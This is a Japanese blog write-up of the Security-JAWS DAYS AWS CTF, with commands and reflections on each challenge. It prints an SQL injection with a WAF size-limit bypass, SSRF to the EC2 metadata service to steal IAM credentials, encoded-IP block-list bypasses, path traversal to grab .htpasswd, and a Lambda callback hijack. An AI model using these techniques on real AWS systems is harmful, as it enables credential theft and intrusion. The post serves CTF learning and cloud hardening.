🦈

Security-JAWS DAYS CTF Writeup

2023/09/10に公開

8/26-27に開催されたSecurity-JAWSに参加してきました。記念すべき第30回🎉
初日は諸事情ありオンラインでの参加でしたが、2日目のCTFはオフラインで楽しんできました。
参加するならやっぱ現地です!画面は小さくなるけど、集中力も高まるし、飲み物もお菓子もいっぱいあるし。

30位そこらの自分が言うのもなんですが、実際に狙われるポイントや事例などを踏まえて作られたと思われる良問揃いで、とても勉強になりました。準備はとても大変だったと思うので感謝の一言です🙏

Writeup自体は作問者の方が公開されていたり、他の方も書かれたりしているので、解法はそこそこにして自分なりの考察や教訓を残しておこうと思います。(といいつつ、気がついたら結構書いてた…。)

https://s-jaws.doorkeeper.jp/events/155025
https://www.youtube.com/watch?v=y7RnYJq02iM

反省点

  1. AWS CLIをもっと触っておけばよかった
    • サービス問題でマネコンが使える問題もありましたが、通常攻撃者がマネコンを触れるなんてことはほとんどなく、普段マネコンでゆとってる自分はやりたいことがスムーズにやれずにとても手間取った。AWS CLI使えない人は対象外って書いてあるわけだw
    • 特に補完がうまく動かないまま放置してたのが響いた。これは原因がわかったので別途。
  2. 攻撃する側の思考に慣れてない
    • 知識としてこういうことやると危ないと知ってるのに、そこをついてみようという発想になれなかった。
    • 要は頭が固いということかと思うとちょっと凹む。
  3. シェルはちゃんとカスタマイズしておくべきだった
    • カーソル移動の時間がこんなに勿体無いと思ったことはなかった。
    • Mac買い換えたばっかで適当にしてたのも響いた。
    • 人からは変態と言われる程度には弄ってはいるものの、ちょっと見直したほうが良さげ。
  4. 振り返りをするための記録方法を考えておくべきだった
    • tmuxでログをとってはいたけど、ログが汚すぎてWriteup書くのが大変だった…。

良かったところ

  • 手に入れたアクセスキーで何ができるか分からず詰むことが少なくなかったけど、調べ方を教えてもらえた。
  • 解けなかった問題に戻ったりする時に、オレオレawspのプロファイル切り替えが大活躍!

Trivia

  • 10ptの問題が13問出題されましたが、分からなかったらググるだけなのでほぼ省略。
  • 1問目のSecurity-JAWS#01の開催年月日は、開始前の説明時に2016年にはじまって30回目と言われていたのでググりやすかった。ちゃんと説明聞くと良いことあるw
  • サクサク解けて楽しいけど、結果を優先するなら後回しにしたほうが良いかも。

Warmup

  • 50ptの問題が6問。

[Warmup#1] AWS CLI practice

このIAMユーザ(シークレットキー+アクセスキー)が所属するAWSアカウントIDは何?

  • IAMユーザのアクセスキーが提供されるので、aws sts get-caller-identityするだけ。

[Warmup#2] Run function

アクセスキーを調べてFLAGを入手せよ!

  • これもアクセスキーが提供されるが、何をすれば良いかは問題名がヒント。

  • とりあえず、ユーザに与えられた権限を確認するためにアタッチされたポリシーを調べてみる。

  • 管理ポリシーやインラインポシリーでコマンドが違ったり、ポリシーがグループにアタッチされているケースもあるので、早くもCLI力のヘボさが目立ち出すが、run_meというLambda Functionが実行できそう。

  • この時点では、iam list*が実行できるのはサービス問題だと気づいてない。

  • aws lambda invoke --function-name run_meするとログを見ろと表示されるが、今度はCLIでログの味方がわからない…。とりあえずググって、フラグGET。

    aws lambda invoke \
    --function-name run_me out \
    --log-type Tail \
    --query 'LogResult' \
    --output text```
    

[Warmup#3] Find data 1

FLAGはバケツに突っ込んであるので探してね!

  • マネコンにログインしてファイル見るだけ。

[Warmup#4] Find data 2

FLAGはバケツに突っ込んであるので探してね!

  • アクセスキーが提供されるが、iam list*が付与されていない。ヒントは問題文のバケツ。

  • aws s3 lsしてそれっぽいバケットhimituno-bucket2を調査。

  • aws s3 ls himituno-bucket2 --recursiveすると1000個のオブジェクト(jpg)があるようだったので、いくつか開くとハズレ画像ということが判明。

  • 1000個の中に当たりがあるのだろうということで、ファイルサイズでソートを試みる。

  • さっきのコマンドをファイルs3_lsに出力しておいてよしなに。

    cat s3_ls | tr -s ' ' | cut -f 3,4 -d ' ' | sort -n
    または
    cat s3_ls | sed 's/ \+/ /g' | cut -f 3,4 -d ' ' | sort -n
    とか
    
  • 444番だけサイズが違うオブジェクトを開くと当たり!
    find_data_2_flag.jpg

[Warmup#5] Show IAM policy

このユーザにアタッチされているポリシーを確認してみよう!Policyドキュメントを注意深くみたらFLAGが隠れているかも。

  • アクセスキーが提供されているので、ヒント通り、アタッチされてるポリシーのドキュメントを調べる。

  • Sidに違和感w Base64でデコードしてフラグゲット!(末尾にパディングの=がないのでBase64と気づきにくいかも)

    %  echo 'U0pBV1N7RG9feW91LWZpbmRfdGhlX0B0dGFjaGVkX3AwbDFjeT99' | base64 --decode
    SJAWS{Do_you-find_the_@ttached_p0l1cy?}
    

[Warmup#6] Where is the password?

「AWSのとあるサービスからパスワードを取得してください!ヒント:AWSで安全にパスワードを管理したい時に利用するサービスと言えば?」 パスワードがFLAGとなっています。

  • マネコンにログインしてSecrets Managerを見に行くだけ。

Easy

  • 100ptの問題が4問。

[Easy#1] Recon the website

Webサイトを調査してFLAGを入手せよ!
http://website.scjdaysctf2023.net/

  • Webサイトのソースを見るとコメントにヒントが。

    <!-- This website uses some AWS services -->
    
  • S3使っているのは想像がつくが、カスタムドメインを正引きして、さらに逆引きして確認。なるほど。

    % nslookup website.scjdaysctf2023.net
    ...
    Name:    website.scjdaysctf2023.net
    Address: 52.219.150.203
    ...
    
    % nslookup 52.219.150.203
    203.150.219.52.in-addr.arpa    name = s3-website-ap-northeast-1.amazonaws.com
    ...
    
  • S3でカスタムドメインを利用して静的サイトをホスティングする場合、バケット名とドメイン名が一致する必要があるのでバケット名は推測可能。

  • 作問者さんによると、とりあえずS3の設定ミスを疑って、バケットにアクセスしてみるとListObjectが許可されていて、オブジェクト一覧が丸見えなのでFLAGの書かれたファイルが特定できる、ということらしい。

  • S3で静的サイトをホスティングする時にListObjectに気をつけようなんてのはあちこちで言われていて当然知ってたのに、もしかして設定ミスってるかも?という思考になれなかったのは反省。引き出しが足らないなぁ。

[Easy#2] Find data 3

FLAGはバケツに突っ込んであるので探してね!

  • アクセスキーが提供されるが、iam list*の権限が付与されていない。

  • ヒント通りS3でそれっぽいバケットhimituno-bucket3を見てみると、readme.txtというファイルがあり、センシティブなデータを消したと書いてある。

  • コピー先に-を指定すると標準出力に流してくれるので便利。S3はCLIでよく使うのでこれだけは知ってたw

    % aws s3 cp s3://himituno-bucket3/readme.txt -
    It was pointed out that placing sensitive data on S3 is not recommended, so I removed it.
    
  • 消したけど、どこかで見れるはず(そうでないと問題にならない)→消したつもりで消えてない?→バージョニングを疑う。

    aws s3api list-object-versions --bucket himituno-bucket3
    
  • 削除されたそれっぽいオブジェクトを取り出してフラグGET!

    aws s3api get-object \
    --bucket himituno-bucket3 \
    --key SECRET_DATA SECRET_DATA \
    --version-id MO4Xz6sB8DONDjCid6ideiRgfdyywcSv
    
  • 作問背景は、バージョニングによって削除したつもりが削除できておらず情報漏洩させないように気をつけろということかと。

[Easy#3] u nix Path?

あなたは、PathとObject Keyの区別がつきますか? private/flagに格納されている情報を取得してください。

  • 設問からおそらくはPath Traversalに関する問題だろうと想像していたものの、"private/flagに格納されている情報"という指示の意味がよく分からず後回しにしたままタイムアップ。

  • index.tsが提供されており、この中で署名付きURLを生成しているが、入力パラメータpath.normalizeしちゃっていて、トラバーサルできそうなことが分かる。

    index.ts
    ...
    export const handler = async (
        event: APIGatewayProxyEvent,
    ): Promise<APIGatewayProxyResult> => {
        const { fileId } = event.pathParameters as { fileId: string };
    
        const decodetFileId = decodeURIComponent(fileId);
        const key = path.normalize(`public/${decodetFileId}`);
    
        const command = new GetObjectCommand({
            Bucket: process.env.BUCKET_NAME as string,
            Key: key,
        });
    
        const url = await getSignedUrl(s3, command, { expiresIn: 60 });
    
        return response(200, JSON.stringify({ url }));
    };
    ...
    
  • DevToolsでみると、/api/file/{ファイル名}というエンドポイントにアクセスしてファイルを取得していることがわかるので、/api/file/../private/flagにアクセスしてみるがAPI Gatewayに阻まれる。

  • そこでURL Encodeするのがミソ。これは本番で思いつけなかっただろうなぁ。

    curl -L https://***.execute-api.ap-northeast-1.amazonaws.com/v1/api/file/%2e%2e%2fprivate%2fflag'
    
  • あとはゲットした署名付URLにアクセスするだけ。

  • README.mdの内容がツボるw

    # 誤ったセキュリティ対策
    
    ## オブジェクトキーを直接指定する
    
    TODO: 僕は疲れてしまったので、明日書きます。
    
    ## S3 ObjectのKeyにUnix系のPathのように正規化を行う
    
    TODO: 僕は疲れてしまったので、明日書きます。
    

[Easy#4] Get Provision

EC2上で動くWebアプリケーションのインスタンスのプロビジョニングデータを入手せよ!
http://gpweb.scjdaysctf2023.net/

  • アクセスすると"Vulnerable Online Proxy Service"という、いかにもなサイトが表示される。
    get_provision_sc.png
  • 問題名にプロビジョニング、ヒントにEC2と書いてあるので、IMDSからユーザデータを取得してみる。
  • http://169.254.169.254/latest/user-data を指定してフラグゲット。
  • オープンリダイレクトが可能なのが直接要因だけど、IMDSv1は注意ですね。実際、設定ミスとかでオープンリダイレクトが可能なことも少なくないらしいし。
  • 作問者さんによると、IMDSを使ったSSRFでクレデンシャルを取得するためによく狙う/latest/meta-data/iam/security-credentialsではなく、ユーザデータに焦点を当てたのは、Bashスクリプトにも機微な情報が含まれていた事例があるから、だそうです。
  • ちなみにIMDSv2だからって安心できんぞって話も、作問者さんがWriteUpで解説されてます。感謝🙏

Medium

  • 200ptの問題が5問。

[Medium#1] LamAttack

皆さんは、社内のログ通知を行う際にLambdaなどを使ったことがあると思います。 ある日、そのようなシステムを管理する社内のGitリポジトリで開発者用のIAMの認証情報 が転がっていたのを見かけたあなたは、上長の許可をとって、そのIAMが漏洩してし まった際の脅威を認識してもらうために、侵入テストを行うことになりました。
皆さんの奪取目標はコミュニケーションツールへAlertを通知するためのLambdaに設定されたSecretです。この情報を奪取して、社内に危険度を知らしめてください。

  • 問題文の意味がよく理解できず完全お手上げでした🙌ちょっと手間がかかるし、これが一番難しい気がする。

  • GetFunctionできるアクセスキーが提供されているので、問題文に記載されているLambda関数LamAttackApplicationStack-LamAttackInnerLogicFunct-***のコードを取得してみる。

    curl $(aws lambda get-function --function-name LamAttackApplicationStack-LamAttackInnerLogicFunct-*** --query 'Code.Location' --output text) -o LamAttackInnerLogicFunction.zip
    
  • sourcemapが入ってるのでソースを復元してみると、SendAlertFunctionの関数名とARNがわかる。

    aws.json
    {
        "LamAttackApplicationStack": {
            "SendAlertFunctionName": "LamAttackApplicationStack-LamAttackSendAlertFuncti-***",
            "SendAlertFunctionARN": "arn:aws:lambda:ap-northeast-1:***:function:LamAttackApplicationStack-LamAttackSendAlertFuncti-***",
            "InnerLogicFunctionName": "LamAttackApplicationStack-LamAttackInnerLogicFunct-***",
            "InnerLogicFunctionARN": "arn:aws:lambda:ap-northeast-1:***:function:LamAttackApplicationStack-LamAttackInnerLogicFunct-***",
            "AlertSNS": "arn:aws:sns:ap-northeast-1:***:LamAttackAlertTopic"
        }
    }
    
  • ちなみにソースの復元は作問者の方が例に挙げられていたsourcemapperを使用しました。file://スキームには対応してなさそうだったので、npx http-serverでローカルホストのファイルを参照できるようにして復元しました。

  • SendAlertFunctionのコードも取得してみると、またsourcemapが入ってるので復元。すると、いかにもアレなcallback URLがw

  • eventオブジェクトにcallbackPathというキーで@別ホストとかやればcallbackを別ホストに飛ばせそう。

    index.ts
    ...
    export const handler = async (event: {
    errorCode: Number;
    errorMessage: String;
    callbackPath: String;
    }) => {
    console.log("event", event);
    if (event.errorCode === 0) return;
    const { errorCode, errorMessage, callbackPath } = event;
    
    const messageTemplate = `Alertが発生しました。\nエラーコードは${errorCode}、エラーメッセージは"${errorMessage}"です。\n担当者のみなさんはご対応お願いします。`;
    
    const input: PublishInput = {
        TopicArn: LamAttackApplicationStack.AlertSNS,
        Message: JSON.stringify({
            message: messageTemplate,
            callback: `https://lnudll7qwugrrdh42gc2xypm2y0zomhl.lambda-url.ap-northeast-1.on.aws${callbackPath}`,
        }),
    };
    ...
    
  • 別ホストで待ち受けてると、なんかx-flagとかいうヘッダにFLAGが入ったリクエストが飛んでくるということだったようです。

    curl https://***.lambda-url.ap-northeast-1.on.aws/ \
    -X POST \
    -d '{"errorCode":10,"errorMessage": "NG", "callbackPath": "@別ホスト" }' \
    -H 'Content-Type: application/json'
    
  • 作問者さんは、pipedreamを使って待ち受けサーバにされていました。なるほど。

  • 自分は当日問題文が理解できていたとしても、ここでお手上げだったろうなと思いました。

  • いまだにちょっとよくわからないのは、元々のログ通知にcallbackって必要だったのか?という点と、Lambdaに設定されたシークレットがx-flagの値なのか?という点です。

  • 教訓としては、sourcemapの混入に注意かな。

[Medium#2] Is the secret protected?

問題文記録漏れ(たしか、ログイン画面のURLが提示されていた気がする)

  • とりあえず、ログインページに典型的なSQL injectionをかましてみるもうまくいかず…お手上げ🙌

    % curl -v -X POST -d "username=admin&password=1' or '1' = '1';--" http://***.ap-northeast-1.elb.amazonaws.com/login.php
    Note: Unnecessary use of -X or --request, POST is already inferred.
    % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                    Dload  Upload   Total   Spent    Left  Speed
    
    0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying ***.***.***.***:80...
    * Connected to ***.ap-northeast-1.elb.amazonaws.com (***.***.***.***) port 80 (#0)
    > POST /login.php HTTP/1.1
    > Host: ***.ap-northeast-1.elb.amazonaws.com
    > User-Agent: curl/7.88.1
    > Accept: */*
    > Content-Length: 42
    > Content-Type: application/x-www-form-urlencoded
    > 
    } [42 bytes data]
    < HTTP/1.1 403 Forbidden
    < Server: awselb/2.0
    < Date: Mon, 28 Aug 2023 01:32:42 GMT
    < Content-Type: text/html
    < Content-Length: 118
    < Connection: keep-alive
    < 
    { [118 bytes data]
    
    100   160  100   118  100    42   1142    406 --:--:-- --:--:-- --:--:--  1666
    * Connection #0 to host ***.ap-northeast-1.elb.amazonaws.com left intact
    <html>
    <head><title>403 Forbidden</title></head>
    <body>
    <center><h1>403 Forbidden</h1></center>
    </body>
    </html>
    
  • 作問者さんによると、注意深くServerヘッダを見ていればInjectionを試みた時に、EC2ではなくELBが応答してることに気づいたはずで、ここでAWS WAFかもしれないから8kB制限をバイパスしてみるということらしい。

  • Serverヘッダがawselb/2.0なのでALB+WAFかなと思っていたし、WAFの8kB制限も知っていたのに、なぜか8kB以上ぶち込もうという思考になれなかった。8kB以上だとブロックするが自分の中でデフォルトだからかなぁ…。

  • 当日SlackでWAFをバイパスしなくても"' or '1'='1"とかで通ったと言われてる方がいたので、もうちょい粘ればよかったし、WAFの過信は禁物ですね。

  • ヘッダにゴミ詰めてやるとCookieが発行されるのでそいつを使ってログインするだけ。

    % curl -v -X POST -d "hoge=aaa***略***aaaaa&username=admin&password=1' or '1' = '1';-" http://***.ap-northeast-1.elb.amazonaws.com/login.php
    ...
    < HTTP/1.1 302 Found
    < Date: Mon, 28 Aug 2023 01:39:35 GMT
    < Content-Type: text/html; charset=UTF-8
    < Content-Length: 0
    < Connection: keep-alive
    < Server: Apache/2.4.56 (Amazon Linux)
    < Expires: Thu, 19 Nov 1981 08:52:00 GMT
    < Cache-Control: no-store, no-cache, must-revalidate
    < Pragma: no-cache
    < Set-Cookie: PHPSESSID=1lnqmgbdhuofm56u8u7c5g8e2j; path=/
    < Location: dashboard.php
    < 
    ...
    
    % curl -v -b "PHPSESSID=1lnqmgbdhuofm56u8u7c5g8e2j; path=/" http://***.amazonaws.com/dashboard.php
    ...
    <!DOCTYPE html>
    <html>
    <head>
        <title>ダッシュボード</title>
    </head>
    <body>
        <h1>ようこそ、adminさん!</h1>
        <p>Flag: SJAWS{W@F?_Pwn!_S0L_1nj@ct10n_S@cc3ss}</p>
        <a href="logout.php">ログアウト</a>
    </body>
    </html>
    

[Medium#3] Get Access Key

EC2 上で動く少しセキュアになった Web アプリケーションから IAM のアクセスキーを入手して、データベースから機微な情報を入手せよ!

  • 提示されたURLにアクセスしてみると、Get Provisionとそっくりなページ。

  • とりあえずIMDSを狙ってみるも、入力値がチェックされているらしい。

  • DevToolsで見てみると、フロントエンドで正規表現を使ってチェックしているだけのようなので、パターンを書き換えてリトライ。

  • 今度はバックエンドでブラックリストがあるようで、ブロックされる。

     *Block the following hostnames.
            ・169.254.169.254
            ・2852039166 <- 10進 (169*256*256*256+254*256+169**256+254)
            ・0xA9.0xFE.0xA9.0xFE
            ・0xA9FEA9FE <- 16進
            ・0251.0376.0251.0376
            ・0251.00376.000251.0000376
            ・0251.254.169.254
    
  • 作問意図としては、IPv6で[::ffff:a9fe:a9fe]とか[0:0:0:0:0:ffff:a9fe:a9fe]を指定することで回避できるというものだったそうですが、自分は8進数025177524776で通過しました。たしかEmotetがこの手のアプローチを使っていた気がする。

  • Slackにはブロックリストを組み合わせて0251.0376.169.254でサクッと通過したという方や、短縮URLやワイルドカードDNS169.254.169.254.nip.ioで通過したという機転のきく方がいました。

  • 後半にSlackでヒントも出ました。

  • IPv4に目が行きがちですが、IPv6にも注意が必要と改めて認識させてくれた良問だったと思います。

  • あとは/latest/meta-data/iam/security-credentialsからアクセスキーをゲットして、ヒントに書いてあるDynamoDBからフラグを頂くだけ。

  • 何も考えずにap-northeast-1のキーだと思って使っていて、たまたま当たってましたが、ロールがアタッチされていたEC2からリージョンを特定する方法を作問者さんが紹介されていました。

  • Webサイトを逆引きしてEC2インスタンスのIPアドレスを取得して、さらに正引きしてec2-***.ap-northeast-1.compute.amazonaws.com.を取得することで、リージョンを特定する。なるほど。

  • 当日諸事情でTokyoリージョン的な話があったのでハマらずに済みましたが、これ別リージョンだったらもう一段難しかっただろうな。

[Medium#4] LISE

問題文記録漏れ

  • 可愛い猫ちゃんの紹介ページ(作問者さんが飼ってる猫ちゃんらしい)。
  • DevToolsでソースをkeyとかcredentialとかのキーワードで検索するとアクセスキーがフロントエンドに埋まっていた。
  • アクセスキーを抜いて見たものの、このキーで何ができるのかわからずお手上げ🙌
  • 作問者さんによると、Secrets Managerのlist-secretsget-secret-valueが許可されていたらしい。
  • 終了後Slackでどのように調査すると良いのか聞いてみると、アクセスキーを元に使用可能なサービスや権限をリストアップするツールが色々あることを教えていただきました🙏
  • 作問意図としては、アクセスキーの埋め込みは避ける&PoLPとのこと。

[Medium#5] Expose Buckup

問題文記録漏れ

  • よくわからず諦めてたけど、後半に「Linuxのホームディレクトリに一般的に置かれてるようなもの」というヒントが出されたのでトライ。
  • .aws/credentialsとか.ssh/id_rsaを狙ってたけど、なるほど.bash_historyか。dockerでubuntuを起動して、それっぽいファイルを試してようやくクレデンシャルを手に入れたけど、git cloneしたところでタイムアップ。
  • コミットログにアクセスキーとFLAGの入ったS3バケット名が含まれていたらしい。あと一歩届かず。
  • 教訓としては、Gitのリポジトリにクレデンシャルをコミットしない。コミットしちゃったら、git filter-repoやBFG Repo-Cleanerで掃除&ローテーション。git-secretsとかで予防的コントロールを導入する。

Hard

  • 300ptの問題が2問。

[Hard#1] AWS Pentesting Journey

さあ、AWSをめぐるPentestの旅に出発しましょう! 凄腕Pentesterのあなたには、以下のAWSシステムに侵入してDB内に格納されているFLAGを奪取できるかをテストしてほしい。
事前にWebサーバの設定情報を共有してもらったので、侵入の手がかりになればよいのだが…。
http://apjweb.scjdaysctf2023.net/

  • 配布されたnginx.confを見ると、パストラバーサルできそうなことがわかる。また、プロキシも特に制限がなくSSRFに使えそう。

    server {
          listen 80 default_server;
          listen [::]:80 default_server;
    
          root /var/www/html;
    
          index index.html index.htm index.nginx-debian.html index.php;
    
          server_name _;
    
          location / {
                  try_files $uri $uri/ =404;
          }
    
          location ~ \.php$ {
                  include snippets/fastcgi-php.conf;
                  fastcgi_pass unix:/run/php/php8.1-fpm.sock;
    
          }
    
          location /assets {
                  alias /usr/share/static/;
          }
    
          location /admin/ {
                  auth_basic "Restricted";
                  auth_basic_user_file /usr/share/secret/.htpasswd;
    
                  location ~^/admin/proxy/(?<proxy_host>.*?)/(?<proxy_path>.*)$ {
                          proxy_pass http://$proxy_host/$proxy_path;
                          proxy_set_header Host $proxy_host;
                  }
          }
      }
    
  • /admin以下はBasic認証がかかっているので、とりあえずパストラバーサルして.htpasswdをゲット。

    curl -L http://***.net/assets../secret/.htpasswd -O
    
  • 買ったばっかりのMacでJTRが入ってなかったのでBardに解析をお願いしたところ、Bardから丁重にお断りされるw
    aws_pentesting_journey_bard.png

  • ユーザ名sjctf@dminは分かったので、適当にパスワードに"password"と入れてみたら通れた。

  • phpMyAdminのログインページがあるらしいがログインできないので、とりあえずIMDSからアクセスキーを頂く。

    http://***.net/admin/proxy/169.254.169.254/latest/meta-data/iam/security-credentials
    
    http://***.net/admin/proxy/169.254.169.254/latest/m eta-data/iam/security-credentials/ec2role_p1lhf6h4q395qu1
    
  • ロールに許可されたポリシーを見る権限はなさそうでお手上げかと思ったが、何気なくs3 lsしたらバケット一覧が見えた。

  • backup-37szjp8pny7xx01というバケットにアクセスできたので、dboperator_accessKeys.csvをゲット。

  • 新しいキーが手に入ったので、キーを調べてみるとdboperatorというユーザのキーらしい。このキーはアタッチされてるポリシーが確認できた。これはお情けかな。

    {
        "PolicyVersion": {
            "Document": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Action": [
                            "lambda:List*",
                            "lambda:GetFunction",
                            "lambda:InvokeFunction"
                        ],
                        "Resource": "arn:aws:lambda:ap-northeast-1:***:function:db-buckup*"
                    },
                    {
                        "Effect": "Allow",
                        "Action": [
                            "iam:Get*",
                            "iam:List*"
                        ],
                        "Resource": [
                            "arn:aws:iam::***:policy/dboperator",
                            "arn:aws:iam::***:user/dboperator"
                        ]
                    }
                ]
            },
            "VersionId": "v6",
            "IsDefaultVersion": true,
            "CreateDate": "2023-08-13T18:57:09+00:00"
        }
    }
    
  • Lambda関数db-buckupを実行してみると、S3にバックアップをアップロードしてそうだとわかる。

    % aws lambda invoke \
    --function-name db-buckup out \
    --log-type Tail \
    --query 'LogResult' \
    --output text \
    | base64 -d
    
    START RequestId: 15b011e9-3033-4be4-a154-cdb41b33e317 Version: $LATEST
    2023-08-27T17:33:35.643Z	15b011e9-3033-4be4-a154-cdb41b33e317	INFO	start mysqldump
    2023-08-27T17:33:35.643Z	15b011e9-3033-4be4-a154-cdb41b33e317	INFO	dumpFileName:dump_20230827173236.sql
    2023-08-27T17:33:35.860Z	15b011e9-3033-4be4-a154-cdb41b33e317	INFO	start s3 upload
    END RequestId: 15b011e9-3033-4be4-a154-cdb41b33e317
    REPORT RequestId: 15b011e9-3033-4be4-a154-cdb41b33e317	Duration: 919.44 ms	Billed Duration: 920 ms	Memory Size: 128 MB	Max Memory Used: 94 MB
    
  • とりあえず、コードをGETしてみるが、KMSで暗号化されてる(しかもコンテキスト付w)。

     curl $(aws lambda get-function --function-name db-buckup --query 'Code.Location' --output text) -o db-buckup.zip
    
    index.js(latest)
    ...
    const functionName = process.env.AWS_LAMBDA_FUNCTION_NAME;
    const encrypted = process.env.DBPASS;
    
    exports.handler = async (event, context) => {
        
        const kms = new aws.KMS({ region: 'ap-northeast-1' });
    
        try {
    
            const req = {
                CiphertextBlob: Buffer.from(encrypted, 'base64'),
                EncryptionContext: { LambdaFunctionName: functionName },
            };
            const data = await kms.decrypt(req).promise();
            var decrypted = data.Plaintext.toString('ascii');
        } catch (err) {
            console.log('Decrypt error:', err);
            throw err;
        }
    ...
    
  • ポリシがdb-buckup*になっていて、db-buckupなんちゃらという別の関数があるのか?とか調べてみたけど、ここでお手上げ🙌

  • 実はこのLambda関数には複数バージョンがあって、古いバージョンは認証情報がハードコードされていたらしい。なぜその可能性を疑わなかったのか悔やまれる。

    aws lambda list-versions-by-function --function-name db-buckup
    
    curl $(aws lambda get-function --function-name db-buckup --qualifier 1 --query 'Code.Location' --output text) -o db-buckup_v1.zip
    
    index.js(v1)
    const resultDump = await mysqldump({
    connection: {
        host: '192.168.10.74',
        user: 'dbopuser',
        password: 'jnwjHNeiFV6V!X39X$SVVjsYg&lPEsTH',
        database: 'kanin',
    },
    dumpToFile: dumpPath,
    });
    
  • あとは、ハードコードされた認証情報でphpMyAdminにアクセスするだけ。

[Hard#2] Secure Request Forwarder

EC2 上で動くセキュアそうな Web アプリケーションがある。調査して情報収集して侵入してみよう!

  • またもGet ProvisionやGet Access Keyのようなページだが、今度は169.254.169.254025177524776もブロックされる。
  • adminページがあるようなので、localhostを狙ってみるもブロックされる。ここでお手上げ🙌
  • これは、[::]だと突破できたらしい。
  • Get Access Keyのヒントで紹介されていたページでPayloads with localhostにバッチリ書かれてました…。
  • SSRFでadminページにアクセスするとヒントがあり、IMDSにアクセスするとユーザデータからRDSのクレデンシャルが抜ける。
  • このRDSがパブリックアクセス可能になっていて、ログインしてみるとUserInfoテーブルに、別のホストの存在を示唆する情報とそのクレデンシャルが置いてあったようです。
  • 作問者さんによると、DBに別ホストの情報を置いてあったのは難易度調整とのことで、実際はBlind SSRFによるLocal Port Scanで判断したりするそうです。
  • 教訓としては、RDSのパブリックアクセスは無効化する。外部から受け取った値を元にリクエストする時は、ホワイトリスト管理できないか検討する。

作問者さんたちのWriteup

https://speakerdeck.com/tigerszk/security-jaws-days-ctf-zuo-wen-zhe-jie-shuo
https://scgajge12.hatenablog.com/entry/security_jaws_days_2023
https://docs.google.com/presentation/d/1gYk2WeObvLYyPIc124S1UrP-0SUnFHKGRDy0yPKT5rA/edit?usp=sharing

参加者の方のWriteup

https://dev.classmethod.jp/articles/2023-security-jaws-days-day2/
https://zenn.dev/shikira/articles/sec-jaws-no30-day2-20230827-ctf
https://zenn.dev/primenumber/articles/6dd7b9b77aa483
https://ken5scal.notion.site/Security-JAWS-Days-CTF-Write-up-9da13cc1f7534bd0a4add75ec3f16f22

Discussion